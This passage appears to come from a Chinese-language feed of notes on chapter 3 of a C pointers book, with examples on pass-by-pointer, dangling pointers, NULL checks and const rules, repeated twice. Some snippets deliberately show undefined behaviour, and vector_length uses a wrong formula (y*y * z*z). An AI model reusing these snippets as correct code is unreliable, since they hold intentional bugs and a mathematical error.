it can see that we just assigned -1 to *i
, and the rule tells it that the assignment to *l
cannot have changed that, so it concludes that it can return -1 and that it does not need
to fetch *i
once more from memory.
根據以上敘述,可知有無開優化,結果會不同。
沒開優化輸出:
x == 0, f(&x,&x) == 0
x == 0, g(&x,&x) == 0
x == 0, h(&x,&x) == 0
有開優化輸出
x == 0, f(&x,&x) == -1
x == 0, g(&x,&x) == 0
x == 0, h(&x,&x) == -1
程式6:void.c
#include <stdio.h>
#include <string.h>
int int_compare(void const *x, void const *y)
{
// Get the objects, and interpret them as integers
int const *a = x;
int const *b = y;
return *a - *b;
}
int string_compare(void const *x, void const *y)
{
// Get the objects and interpet them as strings
char * const *a = x;
char * const *b = y;
return strcmp(*a, *b);
}
int main(void)
{
int int_array[] = { 10, 5, 30, 15, 20, 30 };
int int_array_length =
sizeof int_array / sizeof *int_array;
qsort(int_array, int_array_length,
sizeof *int_array, int_compare);
printf("int_array = ");
for (int i = 0; i < int_array_length; i++) {
printf("%d, ", int_array[i]);
}
printf("\n");
char *string_array[] = { "foo", "bar", "baz" };
int string_array_length =
sizeof string_array / sizeof *string_array;
qsort(string_array, string_array_length,
sizeof *string_array, string_compare);
printf("string_array = ");
for (int i = 0; i < string_array_length; i++) {
printf("%s, ", string_array[i]);
}
printf("\n");
return 0;
}
輸出:
int_array = 5, 10, 15, 20, 30, 30,
string_array = bar, baz, foo,
]]>
Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第三章筆記。
程式1:function-arguments.c
#include <stdio.h>
void doesnt_mutate(int i)
{
i += 42;
}
void mutates(int *i)
{
*i += 42;
}
void foo(int *ip)
{
ip++;
}
void bar(int **ip)
{
(*ip)++;
}
int main(void)
{
int i = 0;
doesnt_mutate(i);
printf("i is %d\n", i);
mutates(&i);
printf("i is %d\n", i);
int *ip = 0;
foo(ip);
printf("%p\n", ip);
bar(&ip);
printf("%p\n", ip);
return 0;
}
看void bar(int **ip)
。想修改指標,就需要二級指標(pointer of pointer)。
To change an object, you need a reference to it.
程式2:point.c
#include <stdio.h>
typedef struct point {
double x, y;
} point;
point move_point_horisontally(point p, double amount)
{
p.x += amount;
return p;
}
point move_point_vertically(point p, double amount)
{
p.y += amount;
return p;
}
point move_point(point p/*1 copy*/, double delta_x, double delta_y)
{
p = move_point_horisontally(p, delta_x);/*2 copies*/
p = move_point_vertically(p, delta_y);/*2 copies*/
return p;/*1 copy*/
}
void print_point(point p)
{
printf("point <%.2f, %.2f>\n", p.x, p.y);
}
typedef struct rectangle {
point upper_left;
point lower_right;
} rectangle;
rectangle move_rectangle(rectangle rect,/*2 copies*/
double delta_x,
double delta_y)
{
rect.upper_left =
move_point(rect.upper_left, delta_x, delta_y);/*6 copies*/
rect.lower_right =
move_point(rect.lower_right, delta_x, delta_y);/*6 copies*/
return rect;/*2 copies*/
}
void print_rectangle(rectangle rect)
{
printf("rectangle:\n");
print_point(rect.upper_left);
print_point(rect.lower_right);
printf("\n");
}
int main(void)
{
point p = { .x = 0.0, .y = 0.0 };
print_point(p);
p = move_point(p, 10, 10);
print_point(p);
printf("\n");
rectangle rect = {
.upper_left = {.x = 0.0, .y = 10.0},
.lower_right = {.x = 10.0, .y = 0.0}
};
print_rectangle(rect);
rect = move_rectangle(rect, 10, 10);
print_rectangle(rect);
return 0;
}
想像一下移動方形的程式。如果不用指標就是上述寫法,但會有一堆值的複製。比如point move_point()
這函數就需要6次複製,而呼叫兩次point move_point()
的rectangle move_rectangle()
就需要12次以上複製。
另外,可以看看assign的方式
typedef struct point {
double x, y;
} point;
point p = { .x = 0.0, .y = 0.0 };
typedef struct rectangle {
point upper_left;
point lower_right;
} rectangle;
rectangle rect = {
.upper_left = {.x = 0.0, .y = 10.0},
.lower_right = {.x = 10.0, .y = 0.0}
};
以下改寫為指標版
程式3:pointer-point.c
#include <stdio.h>
typedef struct point {
double x, y;
} point;
void move_point_horisontally(point *p, double amount)
{
p->x += amount;
}
void move_point_vertically(point *p, double amount)
{
p->y += amount;
}
void move_point(point *p, double delta_x, double delta_y)
{
move_point_horisontally(p, delta_x);
move_point_vertically(p, delta_y);
}
void print_point(point *p)
{
printf("point <%.2f, %.2f>\n", p->x, p->y);
}
typedef struct rectangle {
point upper_left;
point lower_right;
} rectangle;
void move_rectangle(rectangle *rect,
double delta_x,
double delta_y)
{
move_point(&rect->upper_left, delta_x, delta_y);
move_point(&rect->lower_right, delta_x, delta_y);
}
void print_rectangle(rectangle *rect)
{
printf("rectangle:\n");
print_point(&rect->upper_left);
print_point(&rect->lower_right);
printf("\n");
}
int main(void)
{
point p = { .x = 0.0, .y = 0.0 };
print_point(&p);
move_point(&p, 10, 10);
print_point(&p);
printf("\n");
rectangle rect = {
.upper_left = {.x = 0.0, .y = 10.0},
.lower_right = {.x = 10.0, .y = 0.0}
};
print_rectangle(&rect);
move_rectangle(&rect, 10, 10);
print_rectangle(&rect);
return 0;
}
程式4:pointers-to-dead-objects.c
#include <math.h>
#include <float.h>
#include <stdio.h>
typedef struct vector {
double x;
double y;
double z;
} vector;
void print_vector(vector const *v)
{
double x = v->x, y = v->y, z = v->z;
printf("<%.2f, %.2f, %.2f>\n", x, y, z);
}
double vector_length(vector *v)
{
double x = v->x, y = v->y, z = v->z;
return sqrt(x*x + y*y * z*z);
}
vector *shortest(int n, vector *vectors[n])
{
vector *shortest = &(vector){
.x = DBL_MAX, .y = DBL_MAX, .z = DBL_MAX
};
double shortest_length = vector_length(shortest);
printf("%p %p\n", (void *)shortest, (void *)&shortest_length);
for (int i = 0; i < n; ++i) {
vector *v = vectors[i];
double length = vector_length(v);
if (length < shortest_length) {
shortest = v;
shortest_length = length;
}
}
return shortest;
}
void trash_stack(void)
{
volatile char x[1000];
for (int i = 0; i < 1000; i++) {
x[i] = 0;
}
}
int main(void)
{
vector *vectors[] = {
&(vector){ .x = 10.0, .y = 13.0, .z = 42.0 },
&(vector){ .x = -1.0, .y = 32.0, .z = 15.0 },
&(vector){ .x = 0.0, .y = 3.0, .z = 1.0 }
};
print_vector(shortest(3, vectors));
print_vector(shortest(2, vectors));
print_vector(shortest(1, vectors));
print_vector(shortest(0, vectors)); // BOOOM!!!
vector *v = shortest(0, vectors);
print_vector(v);
trash_stack();
print_vector(v);
return 0;
}
請注意print_vector(shortest(0, vectors)); // BOOOM!!!
這一行。
如果傳0,那麼return的變數會是區域變數,這樣的變數,雖然它的地址與值會一直存在,但卻可能
會因為call別的函數,使得它的值被覆寫。這是個bug,但編譯器不會察覺。
所以之後的code
vector *v = shortest(0, vectors);
print_vector(v);
trash_stack();
print_vector(v);
就在模擬此bug。
所以要在shortest函數來加入防呆裝置,就會用到NULL變數。
程式5:null.c
#include <math.h>
#include <float.h>
#include <stdio.h>
typedef struct vector {
double x;
double y;
double z;
} vector;
double vector_length(vector *v)
{
double x = v->x, y = v->y, z = v->z;
return sqrt(x*x + y*y * z*z);
}
void print_vector(vector const *v)
{
if (!v) {
printf("NULL\n");
} else {
double x = v->x, y = v->y, z = v->z;
printf("<%.2f, %.2f, %.2f>\n", x, y, z);
}
}
vector *shortest(int n, vector *vectors[n])
{
if (n < 1) return 0; // Return a NULL pointer
vector *shortest = vectors[0];
double shortest_length = vector_length(shortest);
for (int i = 1; i < n; ++i) {
vector *v = vectors[i];
double length = vector_length(v);
if (length < shortest_length) {
shortest = v;
shortest_length = length;
}
}
return shortest;
}
int main(void)
{
vector *vectors[] = {
&(vector){ .x = 10.0, .y = 13.0, .z = 42.0 },
&(vector){ .x = -1.0, .y = 32.0, .z = 15.0 },
&(vector){ .x = 0.0, .y = 3.0, .z = 1.0 }
};
print_vector(shortest(3, vectors));
print_vector(shortest(2, vectors));
print_vector(shortest(1, vectors));
print_vector(shortest(0, vectors)); // BOOOM!!!
vector const longest = {
.x = DBL_MAX, .y = DBL_MAX, .z = DBL_MAX
};
vector const *v = shortest(0, vectors);
v = v ? v : &longest;
print_vector(v);
return 0;
}
防呆:
vector *shortest(int n, vector *vectors[n])
{
if (n < 1) return 0; // Return a NULL pointer
注意
vector *shortest = &(vector){
.x = DBL_MAX, .y = DBL_MAX, .z = DBL_MAX
};
這是指標變數shortest的初始化!!
先從定義開始。
For any type T, T const is a constant of that type.
For any type T, T * is a pointer to that type.
不合理的assign?
程式6:const3.c
#include <stdio.h>
int main(void)
{
int i = 42;
int *ip = &i;
const int *cp = &i;
for (int j = 0; j < 10; ++j) {
i++;
printf("*ip == %d, *cp == %d\n", *ip, *cp);
}
int const x = 42;
int *ip_x = (int*)&x;
*ip_x = 13;
printf("*ip_x == %d", *ip_x);
return 0;
}
輸出:
*ip == 43, *cp == 43
*ip == 44, *cp == 44
*ip == 45, *cp == 45
*ip == 46, *cp == 46
*ip == 47, *cp == 47
*ip == 48, *cp == 48
*ip == 49, *cp == 49
*ip == 50, *cp == 50
*ip == 51, *cp == 51
*ip == 52, *cp == 52
*ip_x == 13
const有assign的問題。比如:
#include <stdio.h>
int main(void)
{
int *p = 0;
int const **q = 0;
int const i = 42;
q = (int const **)&p;//created an alias for p in *q.
*q = &i;
// Now I have an int alias to an int const!
printf("&i == %p, *p == %p\n", (void *)&i, (void *)p);
*p = 5; // DANGER: We are trying to change const int
// This may or may not actually change i.
// It is up to the C compiler
printf("i == %d / %d\n", i, *p);
return 0;
}
輸出:
&i == 0x7fff5a92f5f4, *p == 0x7fff5a92f5f4
i == 5 / 5
其示意圖如下:
另外一個圖:
根據上圖:
Here, we have an int **pointer p
, we assign its address to an int const * const **pointer u
, and when we then assign the address of an int const * const
object, r, into *q
, we have created not just one but two illegal aliases.
程式last:const.c
#include <stdio.h>
int main(void)
{
int * i_p = 0;
int const * ic_p = 0;
int * const i_pc = 0;
int const * const ic_pc = 0;
#if 0
i_p = i_p; // Ok, T * => T *
ic_p = ic_p; // Ok, T * => T * (T = U const)
i_pc = i_pc; // No! You cannot assign to T const
ic_pc = ic_pc; // No! You cannot assign to T const
#endif
//i_p = ic_p; // No! T const * => T *
i_p = i_pc; // Ok, T * const => T *
//i_p = ic_pc; // No, there is a T const * => T *
ic_p = i_p; // Ok, T * => T const *
ic_p = i_pc; // Ok, T const => T then U * => U const *
ic_p = ic_pc; // Ok, T * const => T * (T = U const)
// Another layour of indirection
#if 0
int ** i_p_p = 0;
int const ** ic_p_p = 0;
int * const * i_pc_p = 0;
int const * const * ic_pc_p = 0;
#endif
typedef int * T;
typedef int const * U;
T * i_p_p = 0;
U * ic_p_p = 0;
T const * i_pc_p = 0;
U const * ic_pc_p = 0;
// plus the ones with const last, but they
// are simply const versions and we learn
// nothing new from them.
// We do not have const pointers here, so we can only apply
// T * => T * and T * => T const *, i.e. add const to the
// pointed at object. If the pointed at objects have different
// types then we cannot assign. Call the pointed at objects T and
// U for the right-hand side and left-hand side, respectively
// No, no and no
// i_p_p = ic_p_p; No, T = int *, U = int const *, T != U
// i_p_p = i_pc_p; No, T = int *, U = int * const, removing const not allowed
// i_p_p = ic_pc_p; No, T = int *, U = int const * const, T != U
// No, no and no
// ic_p_p = i_p_p; No, T = int const *, U = int *, T != U
// ic_p_p = i_pc_p; No, T = int const *, U = int * const, T != U
// ic_p_p = ic_pc_p; No, removing const
i_pc_p = i_p_p; // Ok, T const * => T *, T = int *, U = int *
// i_pc_p = ic_p_p; No, T = int * const, U = int const *, T != U
// i_pc_p = ic_pc_p; No, T = int const *, U = int * const, T != U
// ic_pc_p = i_p_p; No, int const * const != int *
ic_pc_p = ic_p_p; // Ok, Adding a const to int const *
//ic_pc_p = i_pc_p; No, int const * const != int * const
printf("to turn off warning... %p %p %p %p\n",
(void *)i_p, (void *)ic_p, (void *)i_pc, (void *)ic_pc);
printf("to turn off warning... %p %p %p %p\n",
(void *)i_p_p, (void *)ic_p_p, (void *)i_pc_p, (void *)ic_pc_p);
return 0;
}
]]>Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第三章筆記。
程式1:function-arguments.c
#include <stdio.h>
void doesnt_mutate(int i)
{
i += 42;
}
void mutates(int *i)
{
*i += 42;
}
void foo(int *ip)
{
ip++;
}
void bar(int **ip)
{
(*ip)++;
}
int main(void)
{
int i = 0;
doesnt_mutate(i);
printf("i is %d\n", i);
mutates(&i);
printf("i is %d\n", i);
int *ip = 0;
foo(ip);
printf("%p\n", ip);
bar(&ip);
printf("%p\n", ip);
return 0;
}
看void bar(int **ip)
。想修改指標,就需要二級指標(pointer of pointer)。
To change an object, you need a reference to it.
程式2:point.c
#include <stdio.h>
typedef struct point {
double x, y;
} point;
point move_point_horisontally(point p, double amount)
{
p.x += amount;
return p;
}
point move_point_vertically(point p, double amount)
{
p.y += amount;
return p;
}
point move_point(point p/*1 copy*/, double delta_x, double delta_y)
{
p = move_point_horisontally(p, delta_x);/*2 copies*/
p = move_point_vertically(p, delta_y);/*2 copies*/
return p;/*1 copy*/
}
void print_point(point p)
{
printf("point <%.2f, %.2f>\n", p.x, p.y);
}
typedef struct rectangle {
point upper_left;
point lower_right;
} rectangle;
rectangle move_rectangle(rectangle rect,/*2 copies*/
double delta_x,
double delta_y)
{
rect.upper_left =
move_point(rect.upper_left, delta_x, delta_y);/*6 copies*/
rect.lower_right =
move_point(rect.lower_right, delta_x, delta_y);/*6 copies*/
return rect;/*2 copies*/
}
void print_rectangle(rectangle rect)
{
printf("rectangle:\n");
print_point(rect.upper_left);
print_point(rect.lower_right);
printf("\n");
}
int main(void)
{
point p = { .x = 0.0, .y = 0.0 };
print_point(p);
p = move_point(p, 10, 10);
print_point(p);
printf("\n");
rectangle rect = {
.upper_left = {.x = 0.0, .y = 10.0},
.lower_right = {.x = 10.0, .y = 0.0}
};
print_rectangle(rect);
rect = move_rectangle(rect, 10, 10);
print_rectangle(rect);
return 0;
}
想像一下移動方形的程式。如果不用指標就是上述寫法,但會有一堆值的複製。比如point move_point()
這函數就需要6次複製,而呼叫兩次point move_point()
的rectangle move_rectangle()
就需要12次以上複製。
另外,可以看看assign的方式
typedef struct point {
double x, y;
} point;
point p = { .x = 0.0, .y = 0.0 };
typedef struct rectangle {
point upper_left;
point lower_right;
} rectangle;
rectangle rect = {
.upper_left = {.x = 0.0, .y = 10.0},
.lower_right = {.x = 10.0, .y = 0.0}
};
以下改寫為指標版
程式3:pointer-point.c
#include <stdio.h>
typedef struct point {
double x, y;
} point;
void move_point_horisontally(point *p, double amount)
{
p->x += amount;
}
void move_point_vertically(point *p, double amount)
{
p->y += amount;
}
void move_point(point *p, double delta_x, double delta_y)
{
move_point_horisontally(p, delta_x);
move_point_vertically(p, delta_y);
}
void print_point(point *p)
{
printf("point <%.2f, %.2f>\n", p->x, p->y);
}
typedef struct rectangle {
point upper_left;
point lower_right;
} rectangle;
void move_rectangle(rectangle *rect,
double delta_x,
double delta_y)
{
move_point(&rect->upper_left, delta_x, delta_y);
move_point(&rect->lower_right, delta_x, delta_y);
}
void print_rectangle(rectangle *rect)
{
printf("rectangle:\n");
print_point(&rect->upper_left);
print_point(&rect->lower_right);
printf("\n");
}
int main(void)
{
point p = { .x = 0.0, .y = 0.0 };
print_point(&p);
move_point(&p, 10, 10);
print_point(&p);
printf("\n");
rectangle rect = {
.upper_left = {.x = 0.0, .y = 10.0},
.lower_right = {.x = 10.0, .y = 0.0}
};
print_rectangle(&rect);
move_rectangle(&rect, 10, 10);
print_rectangle(&rect);
return 0;
}
程式4:pointers-to-dead-objects.c
#include <math.h>
#include <float.h>
#include <stdio.h>
typedef struct vector {
double x;
double y;
double z;
} vector;
void print_vector(vector const *v)
{
double x = v->x, y = v->y, z = v->z;
printf("<%.2f, %.2f, %.2f>\n", x, y, z);
}
double vector_length(vector *v)
{
double x = v->x, y = v->y, z = v->z;
return sqrt(x*x + y*y * z*z);
}
vector *shortest(int n, vector *vectors[n])
{
vector *shortest = &(vector){
.x = DBL_MAX, .y = DBL_MAX, .z = DBL_MAX
};
double shortest_length = vector_length(shortest);
printf("%p %p\n", (void *)shortest, (void *)&shortest_length);
for (int i = 0; i < n; ++i) {
vector *v = vectors[i];
double length = vector_length(v);
if (length < shortest_length) {
shortest = v;
shortest_length = length;
}
}
return shortest;
}
void trash_stack(void)
{
volatile char x[1000];
for (int i = 0; i < 1000; i++) {
x[i] = 0;
}
}
int main(void)
{
vector *vectors[] = {
&(vector){ .x = 10.0, .y = 13.0, .z = 42.0 },
&(vector){ .x = -1.0, .y = 32.0, .z = 15.0 },
&(vector){ .x = 0.0, .y = 3.0, .z = 1.0 }
};
print_vector(shortest(3, vectors));
print_vector(shortest(2, vectors));
print_vector(shortest(1, vectors));
print_vector(shortest(0, vectors)); // BOOOM!!!
vector *v = shortest(0, vectors);
print_vector(v);
trash_stack();
print_vector(v);
return 0;
}
請注意print_vector(shortest(0, vectors)); // BOOOM!!!
這一行。
如果傳0,那麼return的變數會是區域變數,這樣的變數,雖然它的地址與值會一直存在,但卻可能
會因為call別的函數,使得它的值被覆寫。這是個bug,但編譯器不會察覺。
所以之後的code
vector *v = shortest(0, vectors);
print_vector(v);
trash_stack();
print_vector(v);
就在模擬此bug。
所以要在shortest函數來加入防呆裝置,就會用到NULL變數。
程式5:null.c
#include <math.h>
#include <float.h>
#include <stdio.h>
typedef struct vector {
double x;
double y;
double z;
} vector;
double vector_length(vector *v)
{
double x = v->x, y = v->y, z = v->z;
return sqrt(x*x + y*y * z*z);
}
void print_vector(vector const *v)
{
if (!v) {
printf("NULL\n");
} else {
double x = v->x, y = v->y, z = v->z;
printf("<%.2f, %.2f, %.2f>\n", x, y, z);
}
}
vector *shortest(int n, vector *vectors[n])
{
if (n < 1) return 0; // Return a NULL pointer
vector *shortest = vectors[0];
double shortest_length = vector_length(shortest);
for (int i = 1; i < n; ++i) {
vector *v = vectors[i];
double length = vector_length(v);
if (length < shortest_length) {
shortest = v;
shortest_length = length;
}
}
return shortest;
}
int main(void)
{
vector *vectors[] = {
&(vector){ .x = 10.0, .y = 13.0, .z = 42.0 },
&(vector){ .x = -1.0, .y = 32.0, .z = 15.0 },
&(vector){ .x = 0.0, .y = 3.0, .z = 1.0 }
};
print_vector(shortest(3, vectors));
print_vector(shortest(2, vectors));
print_vector(shortest(1, vectors));
print_vector(shortest(0, vectors)); // BOOOM!!!
vector const longest = {
.x = DBL_MAX, .y = DBL_MAX, .z = DBL_MAX
};
vector const *v = shortest(0, vectors);
v = v ? v : &longest;
print_vector(v);
return 0;
}
防呆:
vector *shortest(int n, vector *vectors[n])
{
if (n < 1) return 0; // Return a NULL pointer
注意
vector *shortest = &(vector){
.x = DBL_MAX, .y = DBL_MAX, .z = DBL_MAX
};
這是指標變數shortest的初始化!!
先從定義開始。
For any type T, T const is a constant of that type.
For any type T, T * is a pointer to that type.
不合理的assign?
程式6:const3.c
#include <stdio.h>
int main(void)
{
int i = 42;
int *ip = &i;
const int *cp = &i;
for (int j = 0; j < 10; ++j) {
i++;
printf("*ip == %d, *cp == %d\n", *ip, *cp);
}
int const x = 42;
int *ip_x = (int*)&x;
*ip_x = 13;
printf("*ip_x == %d", *ip_x);
return 0;
}
輸出:
*ip == 43, *cp == 43
*ip == 44, *cp == 44
*ip == 45, *cp == 45
*ip == 46, *cp == 46
*ip == 47, *cp == 47
*ip == 48, *cp == 48
*ip == 49, *cp == 49
*ip == 50, *cp == 50
*ip == 51, *cp == 51
*ip == 52, *cp == 52
*ip_x == 13
const有assign的問題。比如:
#include <stdio.h>
int main(void)
{
int *p = 0;
int const **q = 0;
int const i = 42;
q = (int const **)&p;//created an alias for p in *q.
*q = &i;
// Now I have an int alias to an int const!
printf("&i == %p, *p == %p\n", (void *)&i, (void *)p);
*p = 5; // DANGER: We are trying to change const int
// This may or may not actually change i.
// It is up to the C compiler
printf("i == %d / %d\n", i, *p);
return 0;
}
輸出:
&i == 0x7fff5a92f5f4, *p == 0x7fff5a92f5f4
i == 5 / 5
其示意圖如下:
另外一個圖:
根據上圖:
Here, we have an int **pointer p
, we assign its address to an int const * const **pointer u
, and when we then assign the address of an int const * const
object, r, into *q
, we have created not just one but two illegal aliases.
程式last:const.c
#include <stdio.h>
int main(void)
{
int * i_p = 0;
int const * ic_p = 0;
int * const i_pc = 0;
int const * const ic_pc = 0;
#if 0
i_p = i_p; // Ok, T * => T *
ic_p = ic_p; // Ok, T * => T * (T = U const)
i_pc = i_pc; // No! You cannot assign to T const
ic_pc = ic_pc; // No! You cannot assign to T const
#endif
//i_p = ic_p; // No! T const * => T *
i_p = i_pc; // Ok, T * const => T *
//i_p = ic_pc; // No, there is a T const * => T *
ic_p = i_p; // Ok, T * => T const *
ic_p = i_pc; // Ok, T const => T then U * => U const *
ic_p = ic_pc; // Ok, T * const => T * (T = U const)
// Another layour of indirection
#if 0
int ** i_p_p = 0;
int const ** ic_p_p = 0;
int * const * i_pc_p = 0;
int const * const * ic_pc_p = 0;
#endif
typedef int * T;
typedef int const * U;
T * i_p_p = 0;
U * ic_p_p = 0;
T const * i_pc_p = 0;
U const * ic_pc_p = 0;
// plus the ones with const last, but they
// are simply const versions and we learn
// nothing new from them.
// We do not have const pointers here, so we can only apply
// T * => T * and T * => T const *, i.e. add const to the
// pointed at object. If the pointed at objects have different
// types then we cannot assign. Call the pointed at objects T and
// U for the right-hand side and left-hand side, respectively
// No, no and no
// i_p_p = ic_p_p; No, T = int *, U = int const *, T != U
// i_p_p = i_pc_p; No, T = int *, U = int * const, removing const not allowed
// i_p_p = ic_pc_p; No, T = int *, U = int const * const, T != U
// No, no and no
// ic_p_p = i_p_p; No, T = int const *, U = int *, T != U
// ic_p_p = i_pc_p; No, T = int const *, U = int * const, T != U
// ic_p_p = ic_pc_p; No, removing const
i_pc_p = i_p_p; // Ok, T const * => T *, T = int *, U = int *
// i_pc_p = ic_p_p; No, T = int * const, U = int const *, T != U
// i_pc_p = ic_pc_p; No, T = int const *, U = int * const, T != U
// ic_pc_p = i_p_p; No, int const * const != int *
ic_pc_p = ic_p_p; // Ok, Adding a const to int const *
//ic_pc_p = i_pc_p; No, int const * const != int * const
printf("to turn off warning... %p %p %p %p\n",
(void *)i_p, (void *)ic_p, (void *)i_pc, (void *)ic_pc);
printf("to turn off warning... %p %p %p %p\n",
(void *)i_p_p, (void *)ic_p_p, (void *)i_pc_p, (void *)ic_pc_p);
return 0;
}
]]>